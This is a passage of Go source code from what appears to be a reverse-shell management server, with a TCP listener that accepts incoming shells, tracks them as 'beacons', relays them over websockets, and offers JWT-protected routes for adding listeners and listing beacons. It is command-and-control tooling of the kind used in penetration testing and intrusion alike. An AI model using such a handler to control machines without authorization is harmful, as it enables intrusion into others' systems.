144 | delete(h.Clients, client)
145 | }
146 | }
147 | }
148 | }
149 | }
150 |
151 | func (h *Hub) BroadcastWSData(wsData typing.WSData) error {
152 | wsData.Timestamp = GetNowTimeStamp()
153 | global.SERVER_LOG.Debugf("broadcast %+v", wsData)
154 | rawData, err := json.Marshal(wsData)
155 | if err != nil {
156 | return err
157 | }
158 | h.broadcast <- rawData
159 | return nil
160 | }
161 |
--------------------------------------------------------------------------------
/model/listener.go:
--------------------------------------------------------------------------------
1 | package model
2 |
3 | import (
4 | "fmt"
5 | "net"
6 |
7 | "sh.ieki.xyz/global"
8 | "sh.ieki.xyz/global/typing"
9 | )
10 |
11 | //反弹shell监听器
12 | type Listener struct {
13 | Name string `json:"name"`
14 | Host string `json:"lhost"`
15 | Port int `json:"lport"`
16 | Closed bool `json:"closed"`
17 | socket net.Listener //listener 启动的socket
18 | stoppedChan chan bool //停止TCP socket监听
19 | }
20 |
21 | // Listen for incoming connections
22 | func (listener *Listener) serve() {
23 | for {
24 | conn, err := listener.socket.Accept()
25 | // FIXME I'd like to detect "use of closed network connection" here
26 | // FIXME but it isn't exported from net
27 | if err != nil {
28 | global.SERVER_LOG.Errorf("Accept failed: %v", err)
29 | break
30 | }
31 | //Initial Read
32 | buf := make([]byte, 4096)
33 | n, _ := conn.(*net.TCPConn).Read(buf)
34 | if n > 0 {
35 | global.SERVER_LOG.Debugf("Shell received: %s", string(buf[0:n]))
36 | }
37 |
38 | beacon := &Beacon{}
39 |
40 | beacon.Construct(conn.(*net.TCPConn))
41 |
42 | _ = global.SERVER_WS_HUB.BroadcastWSData(typing.WSData{Sender: "server", Type: "beacon", Data: beacon, Detail: fmt.Sprintf("Shell received: %s", string(buf[0:n]))})
43 |
44 | global.SERVER_LOG.Debugf("before pushback beacon list:%+v and push %v", global.SERVER_BEACON_LIST, beacon)
45 | global.SERVER_BEACON_LIST.PushBack(beacon)
46 | global.SERVER_LOG.Debugf("after pushback beacon list:%v", global.SERVER_BEACON_LIST)
47 | go beacon.WritePump()
48 | go beacon.ReadPump()
49 | }
50 | listener.stoppedChan <- true
51 | }
52 |
53 | // Stop the server by closing the listening listen
54 | func (listener *Listener) Stop() {
55 | listener.socket.Close()
56 | listener.Closed = true
57 | <-listener.stoppedChan
58 | }
59 |
60 | func (listener *Listener) Start() error {
61 | addr := fmt.Sprintf("%s:%d", listener.Host, listener.Port)
62 | var err error
63 | listener.socket, err = net.Listen("tcp", addr)
64 | listener.stoppedChan = make(chan bool, 1)
65 | if err != nil {
66 | global.SERVER_LOG.Error("tcp listener error")
67 | return err
68 | }
69 | global.SERVER_LOG.Debugf("listener %s start listen at %s", listener.Name, addr)
70 | listener.Closed = false
71 | go listener.serve()
72 | return nil
73 | }
74 |
75 | /*
76 | func (listener *Listener) send(remote *net.TCPConn) {
77 | defer remote.Close()
78 | for {
79 | select {
80 | case <-listener.receivedChan:
81 | //write combine output bytes into websocket response
82 | //write combine output bytes into websocket response
83 | //global.SERVER_LOG.Debugf("Enter send with %+v", listener, listener.shInputBuffer)
84 | buf := make([]byte, 4096)
85 | n, err := listener.shInputBuffer.Read(buf)
86 | if err == nil && n > 0 {
87 | global.SERVER_LOG.Debugf("Send %+v to shConn", string(buf[0:n]))
88 | if _, err := remote.Write(buf[0:n]); err != nil {
89 | global.SERVER_LOG.Error("data send to ShConn failed")
90 | }
91 | }
92 | case <-listener.stoppedChan:
93 | return
94 | }
95 | }
96 | }
97 |
98 | func (listener *Listener) respond(remote *net.TCPConn) {
99 | defer remote.Close()
100 | tick := time.NewTicker(time.Millisecond * time.Duration(120))
101 | buf := make([]byte, 4096)
102 | for {
103 | select {
104 | case <-tick.C:
105 | //write combine output bytes into websocket response
106 | n, _ := remote.Read(buf)
107 | if n > 0 {
108 | global.SERVER_LOG.Debugf("ReceiveWsMsg len:%d content:%s", n, string(buf[0:n]))
109 | listener.shOutputBuffer.Write(buf[0:n])
110 | }
111 | case <-listener.stoppedChan:
112 | return
113 | }
114 | }
115 | }
116 |
117 |
118 |
119 | func (listener *Listener) SendWsCmdInput(cmd string) (string, error) {
120 | global.SERVER_LOG.Debug("enter here")
121 | if listener.Closed {
122 | return "", errors.New("listener closed")
123 | }
124 |
125 | //一次处理一个命令0
126 | listener.lck.Lock()
127 | defer listener.lck.Unlock()
128 |
129 | _, err := listener.shInputBuffer.Write([]byte(cmd))
130 |
131 | if err != nil {
132 | listener.shInputBuffer.Reset()
133 | listener.shOutputBuffer.Reset()
134 | return "", err
135 | }
136 |
137 | listener.receivedChan <- true
138 |
139 | select {
140 | case <-listener.doneChan:
141 | buf := make([]byte, 4096)
142 | n, err := listener.shOutputBuffer.Read(buf)
143 | if err != nil {
144 | return "", err
145 | }
146 | return string(buf[0:n]), nil
147 | case <-time.After(time.Second * 5):
148 | return "", errors.New("cmd timeout")
149 | case <-listener.stoppedChan:
150 | return "", errors.New("listener stopped")
151 | }
152 | }
153 |
154 | func (listener *Listener) ServeWsCmdInput(wsConn *websocket.Conn, cmd string) error {
155 | global.SERVER_LOG.Debug("enter here")
156 | if listener.Closed {
157 | return errors.New("listener closed")
158 | }
159 |
160 | //一次处理一个命令0
161 | listener.lck.Lock()
162 | defer listener.lck.Unlock()
163 |
164 | _, err := listener.shInputBuffer.Write([]byte(cmd))
165 |
166 | if err != nil {
167 | return err
168 | }
169 |
170 | listener.receivedChan <- true
171 |
172 | tick := time.NewTicker(time.Millisecond * time.Duration(121))
173 | timeout := time.NewTimer(time.Duration(time.Second * 5))
174 | buf := make([]byte, 4096)
175 | receivedOnce := false
176 | for {
177 | select {
178 | case <-tick.C:
179 | //write combine output bytes into websocket response
180 | n, _ := listener.shOutputBuffer.Read(buf)
181 | if n > 0 {
182 | wsConn.WriteJSON(typing.ShData{Type: "cmd", Data: string(buf[0:n])})
183 | receivedOnce = true
184 | timeout.Stop()
185 | timeout.Reset(time.Millisecond * time.Duration(361))
186 | }
187 | case <-timeout.C:
188 | if !receivedOnce {
189 | return errors.New("timeout")
190 | }
191 | return nil
192 | case <-listener.stoppedChan:
193 | return errors.New("listener closed")
194 | }
195 | }
196 | }
197 | */
198 |
--------------------------------------------------------------------------------
/router/beacon.go:
--------------------------------------------------------------------------------
1 | package router
2 |
3 | import (
4 | "github.com/gin-gonic/gin"
5 | "sh.ieki.xyz/api"
6 | ws "sh.ieki.xyz/api/ws"
7 | "sh.ieki.xyz/middleware"
8 | )
9 |
10 | func InitBeaconRouter(Router *gin.RouterGroup) {
11 | BeaconRouter := Router.Group("beacon")
12 | {
13 | BeaconRouter.GET("/ws/", ws.BeaconWSAPI)
14 | BeaconRouter.Use(middleware.JWTAuth())
15 | BeaconRouter.GET("/", api.BeaconListAPI)
16 |
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/router/billboard.go:
--------------------------------------------------------------------------------
1 | package router
2 |
3 | import (
4 | "github.com/gin-gonic/gin"
5 | ws "sh.ieki.xyz/api/ws"
6 | )
7 |
8 | func InitBillboardRouter(Router *gin.RouterGroup) {
9 | ListenerRouter := Router.Group("billboard")
10 | {
11 | ListenerRouter.GET("/ws/", ws.BillboardWSAPI)
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/router/listener.go:
--------------------------------------------------------------------------------
1 | package router
2 |
3 | import (
4 | "github.com/gin-gonic/gin"
5 | api "sh.ieki.xyz/api"
6 | "sh.ieki.xyz/middleware"
7 | )
8 |
9 | func InitListenerRouter(Router *gin.RouterGroup) {
10 | ListenerRouter := Router.Group("listener").Use(middleware.JWTAuth())
11 | {
12 | ListenerRouter.POST("/", api.AddListenerAPI)
13 | ListenerRouter.GET("/", api.ListenerListAPI)
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/router/token.go:
--------------------------------------------------------------------------------
1 | package router
2 |
3 | import (
4 | "github.com/gin-gonic/gin"
5 | "sh.ieki.xyz/api"
6 | )
7 |
8 | func InitTokenRouter(Router *gin.RouterGroup) {
9 | TokenRouter := Router.Group("token")
10 | {
11 | TokenRouter.POST("/", api.LoginAPI)
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/service/hub.go:
--------------------------------------------------------------------------------
1 | package service
2 |
3 | import "sh.ieki.xyz/model"
4 |
5 | func NewHub() *model.Hub {
6 | hub := model.Hub{}
7 | hub.Construct()
8 | return &hub
9 | }
10 |
--------------------------------------------------------------------------------
/service/listener.go:
--------------------------------------------------------------------------------
1 | package service
2 |
3 | import (
4 | "errors"
5 |
6 | "sh.ieki.xyz/global"
7 | "sh.ieki.xyz/model"
8 | "sh.ieki.xyz/util"
9 | )
10 |
11 | func AddListener(name string, host string, port int) (*model.Listener, error) {
12 | listener := model.Listener{
13 | Name: name,
14 | Host: host,
15 | Port: port,
16 | Closed: true,
17 | }
18 |
19 | _, err := util.GetListener(global.SERVER_LISTENER_LIST, listener)
20 |
21 | if err == nil {
22 | return nil, errors.New("listener already created")
23 | }
24 |
25 | err = listener.Start()
26 |
27 | if err != nil {
28 | return nil, err
29 | }
30 |
31 | global.SERVER_LISTENER_LIST.PushBack(&listener)
32 |
33 | return &listener, nil
34 | }
35 |
--------------------------------------------------------------------------------
/util/common.go:
--------------------------------------------------------------------------------
1 | package util
2 |
3 | import (
4 | "sh.ieki.xyz/global"
5 | "os"
6 | )
7 |
8 | // @title PathExists
9 | // @description 文件目录是否存在
10 | // @auth
11 | // @param path string
12 | // @return err error
13 |
14 | func PathExists(path string) (bool, error) {
15 | _, err := os.Stat(path)
16 | if err == nil {
17 | return true, nil
18 | }
19 | if os.IsNotExist(err) {
20 | return false, nil
21 | }
22 | return false, err
23 | }
24 |
25 | // @title createDir
26 | // @description 批量创建文件夹
27 | // @auth
28 | // @param dirs string
29 | // @return err error
30 |
31 | func CreateDir(dirs ...string) (err error) {
32 | for _, v := range dirs {
33 | exist, err := PathExists(v)
34 | if err != nil {
35 | return err
36 | }
37 | if !exist {
38 | global.SERVER_LOG.Debug("create directory ", v)
39 | err = os.MkdirAll(v, os.ModePerm)
40 | if err != nil {
41 | global.SERVER_LOG.Error("create directory", v, " error:", err)
42 | }
43 | }
44 | }
45 | return err
46 | }
47 |
--------------------------------------------------------------------------------
/util/hub.go:
--------------------------------------------------------------------------------
1 | package util
2 |
--------------------------------------------------------------------------------
/util/rule.go:
--------------------------------------------------------------------------------
1 | package util
2 |
3 | import (
4 | "errors"
5 | "reflect"
6 | "regexp"
7 | "strconv"
8 | "strings"
9 | )
10 |
11 | type Rules map[string][]string
12 |
13 | type RulesMap map[string]Rules
14 |
15 | var CustomizeMap = make(map[string]Rules)
16 |
17 | func RegisterRule(key string, rule Rules) (err error) {
18 | if CustomizeMap[key] != nil {
19 | return errors.New(key + "已注册,无法重复注册")
20 | } else {
21 | CustomizeMap[key] = rule
22 | return nil
23 | }
24 | }
25 |
26 | func NotEmpty() string {
27 | return "notEmpty"
28 | }
29 |
30 | func RegexpMatch(rule string) string {
31 | return "regexp=" + rule
32 | }
33 |
34 | func Lt(mark string) string {
35 | return "lt=" + mark
36 | }
37 |
38 | func Le(mark string) string {
39 | return "le=" + mark
40 | }
41 |
42 | func Eq(mark string) string {
43 | return "eq=" + mark
44 | }
45 |
46 | func Ne(mark string) string {
47 | return "ne=" + mark
48 | }
49 |
50 | func Ge(mark string) string {
51 | return "ge=" + mark
52 | }
53 |
54 | func Gt(mark string) string {
55 | return "gt=" + mark
56 | }
57 |
58 | func Verify(st interface{}, roleMap Rules) (err error) {
59 | compareMap := map[string]bool{
60 | "lt": true,
61 | "le": true,
62 | "eq": true,
63 | "ne": true,
64 | "ge": true,
65 | "gt": true,
66 | }
67 |
68 | typ := reflect.TypeOf(st)
69 | val := reflect.ValueOf(st) // 获取reflect.Type类型
70 |
71 | kd := val.Kind() // 获取到st对应的类别
72 | if kd != reflect.Struct {
73 | return errors.New("expect struct")
74 | }
75 | num := val.NumField()
76 | // 遍历结构体的所有字段
77 | for i := 0; i < num; i++ {
78 | tagVal := typ.Field(i)
79 | val := val.Field(i)
80 | if len(roleMap[tagVal.Name]) > 0 {
81 | for _, v := range roleMap[tagVal.Name] {
82 | switch {
83 | case v == "notEmpty":
84 | if isBlank(val) {
85 | return errors.New(tagVal.Name + "值不能为空")
86 | }
87 | case strings.Split(v, "=")[0] == "regexp":
88 | if !regexpMatch(strings.Split(v, "=")[1], val.String()) {
89 | return errors.New(tagVal.Name + "格式校验不通过")
90 | }
91 | case compareMap[strings.Split(v, "=")[0]]:
92 | if !compareVerify(val, v) {
93 | return errors.New(tagVal.Name + "长度或值不在合法范围," + v)
94 | }
95 | }
96 | }
97 | }
98 | }
99 | return nil
100 | }
101 |
102 | func compareVerify(value reflect.Value, VerifyStr string) bool {
103 | switch value.Kind() {
104 | case reflect.String, reflect.Slice, reflect.Array:
105 | return compare(value.Len(), VerifyStr)
106 | case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr:
107 | return compare(value.Uint(), VerifyStr)
108 | case reflect.Float32, reflect.Float64:
109 | return compare(value.Float(), VerifyStr)
110 | case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:
111 | return compare(value.Int(), VerifyStr)
112 | default:
113 | return false
114 | }
115 | }
116 |
117 | func isBlank(value reflect.Value) bool {
118 | switch value.Kind() {
119 | case reflect.String:
120 | return value.Len() == 0
121 | case reflect.Bool:
122 | return !value.Bool()
123 | case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:
124 | return value.Int() == 0
125 | case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr:
126 | return value.Uint() == 0
127 | case reflect.Float32, reflect.Float64:
128 | return value.Float() == 0
129 | case reflect.Interface, reflect.Ptr:
130 | return value.IsNil()
131 | }
132 | return reflect.DeepEqual(value.Interface(), reflect.Zero(value.Type()).Interface())
133 | }
134 |
135 | func compare(value interface{}, VerifyStr string) bool {
136 | VerifyStrArr := strings.Split(VerifyStr, "=")
137 | val := reflect.ValueOf(value)
138 | switch val.Kind() {
139 | case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64:
140 | VInt, VErr := strconv.ParseInt(VerifyStrArr[1], 10, 64)
141 | if VErr != nil {
142 | return false
143 | }
144 | switch {
145 | case VerifyStrArr[0] == "lt":
146 | return val.Int() < VInt
147 | case VerifyStrArr[0] == "le":
148 | return val.Int() <= VInt
149 | case VerifyStrArr[0] == "eq":
150 | return val.Int() == VInt
151 | case VerifyStrArr[0] == "ne":
152 | return val.Int() != VInt
153 | case VerifyStrArr[0] == "ge":
154 | return val.Int() >= VInt
155 | case VerifyStrArr[0] == "gt":
156 | return val.Int() > VInt
157 | default:
158 | return false
159 | }
160 | case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr:
161 | VInt, VErr := strconv.Atoi(VerifyStrArr[1])
162 | if VErr != nil {
163 | return false
164 | }
165 | switch {
166 | case VerifyStrArr[0] == "lt":
167 | return val.Uint() < uint64(VInt)
168 | case VerifyStrArr[0] == "le":
169 | return val.Uint() <= uint64(VInt)
170 | case VerifyStrArr[0] == "eq":
171 | return val.Uint() == uint64(VInt)
172 | case VerifyStrArr[0] == "ne":
173 | return val.Uint() != uint64(VInt)
174 | case VerifyStrArr[0] == "ge":
175 | return val.Uint() >= uint64(VInt)
176 | case VerifyStrArr[0] == "gt":
177 | return val.Uint() > uint64(VInt)
178 | default:
179 | return false
180 | }
181 | case reflect.Float32, reflect.Float64:
182 | VFloat, VErr := strconv.ParseFloat(VerifyStrArr[1], 64)
183 | if VErr != nil {
184 | return false
185 | }
186 | switch {
187 | case VerifyStrArr[0] == "lt":
188 | return val.Float() < VFloat
189 | case VerifyStrArr[0] == "le":
190 | return val.Float() <= VFloat
191 | case VerifyStrArr[0] == "eq":
192 | return val.Float() == VFloat
193 | case VerifyStrArr[0] == "ne":
194 | return val.Float() != VFloat
195 | case VerifyStrArr[0] == "ge":
196 | return val.Float() >= VFloat
197 | case VerifyStrArr[0] == "gt":
198 | return val.Float() > VFloat
199 | default:
200 | return false
201 | }
202 | default:
203 | return false
204 | }
205 | }
206 |
207 | func regexpMatch(rule, matchStr string) bool {
208 | return regexp.MustCompile(rule).MatchString(matchStr)
209 | }
210 |
211 | func IsValidEmail(data string) (res bool) {
212 | reg := regexp.MustCompile(`.+@.+\..+`)
213 | res = reg.MatchString(data)
214 | return res
215 | }
216 |
217 | func IsValidName(data string) (res bool) {
218 | reg, _ := regexp.Compile(`^[a-zA-Z0-9_-]{3,16}$`)
219 | res = reg.MatchString(data)
220 | return res
221 | }
222 |
--------------------------------------------------------------------------------
/util/shell.go:
--------------------------------------------------------------------------------
1 | package util
2 |
3 | import (
4 | "container/list"
5 | "errors"
6 |
7 | "sh.ieki.xyz/global"
8 | "sh.ieki.xyz/model"
9 | )
10 |
11 | /*
12 | func wsBindsock(ws websocket.Conn, socks *net.TCPConn) {
13 | defer socks.Close()
14 |
15 | defer ws.Close()
16 |
17 | var wg sync.WaitGroup
18 | ioCopy := func(dst io.Writer, src io.Reader) {
19 | defer wg.Done()
20 | io.Copy(dst, src)
21 | }
22 | wg.Add(2)
23 | //go ioCopy(ws, socks)
24 | //go ioCopy(socks, ws)
25 | wg.Wait()
26 | }*/
27 |
28 | func GetListener(listnerList *list.List, targetListener model.Listener) (*model.Listener, error) {
29 | var listener *model.Listener
30 | // global.SERVER_LOG.Debugf("finding listener,target listener: %+v", targetListener)
31 | for element := listnerList.Front(); element != nil; element = element.Next() {
32 | listener = element.Value.(*model.Listener)
33 |
34 | // global.SERVER_LOG.Debugf("finding listener,now listener: %+v", *listener)
35 | if (*listener).Name == targetListener.Name {
36 | return listener, nil
37 | }
38 | if (*listener).Host == targetListener.Host && (*listener).Port == targetListener.Port {
39 | return listener, nil
40 | }
41 | }
42 | return nil, errors.New("listener not found")
43 | }
44 |
45 | func PointList2ValArray(list *list.List) ([]interface{}, error) {
46 | var res []interface{}
47 | global.SERVER_LOG.Debugf("now list %+v", list)
48 | for element := list.Front(); element != nil; element = element.Next() {
49 | p := element.Value.(*interface{})
50 | global.SERVER_LOG.Debugf("now element %+v", p)
51 | res = append(res, *p)
52 | }
53 | return res, nil
54 | }
55 |
56 | func GetBeaconList(becaonList *list.List) ([]model.Beacon, error) {
57 | var beaconListArray []model.Beacon
58 | var beacon *model.Beacon
59 | for element := becaonList.Front(); element != nil; element = element.Next() {
60 | beacon = element.Value.(*model.Beacon)
61 |
62 | beaconListArray = append(beaconListArray, *beacon)
63 | }
64 | return beaconListArray, nil
65 | }
66 |
67 | func GetListenerList(listnerList *list.List) ([]model.Listener, error) {
68 | var listenerListArray []model.Listener
69 | var listener *model.Listener
70 | for element := listnerList.Front(); element != nil; element = element.Next() {
71 | listener = element.Value.(*model.Listener)
72 |
73 | listenerListArray = append(listenerListArray, *listener)
74 | }
75 | return listenerListArray, nil
76 | }
77 |
78 | func GetBeacon(beaconList *list.List, targetBeacon model.Beacon) (*model.Beacon, error) {
79 | var beacon *model.Beacon
80 | //global.SERVER_LOG.Debugf("finding beacon,target beacon: %+v", targetBeacon)
81 | for element := beaconList.Front(); element != nil; element = element.Next() {
82 | beacon = element.Value.(*model.Beacon)
83 |
84 | //global.SERVER_LOG.Debugf("finding beacon,now beacon: %+v", *beacon)
85 | if (*beacon).Name == targetBeacon.Name || (*beacon).UUID == targetBeacon.UUID {
86 | return beacon, nil
87 | }
88 | }
89 | return nil, errors.New("beacon not found")
90 | }
91 |
92 | func DeleteBeacon(beaconList *list.List, targetBeacon *model.Beacon) error {
93 | var beacon *model.Beacon
94 | // global.SERVER_LOG.Debugf("finding beacon,target beacon: %+v", targetBeacon)
95 | for element := beaconList.Front(); element != nil; element = element.Next() {
96 | beacon = element.Value.(*model.Beacon)
97 |
98 | // global.SERVER_LOG.Debugf("finding beacon,now beacon: %+v", *beacon)
99 | if (*beacon).Name == targetBeacon.Name || (*beacon).UUID == targetBeacon.UUID {
100 | beaconList.Remove(element)
101 | return nil
102 | }
103 | }
104 | return errors.New("beacon not found")
105 | }
106 |
--------------------------------------------------------------------------------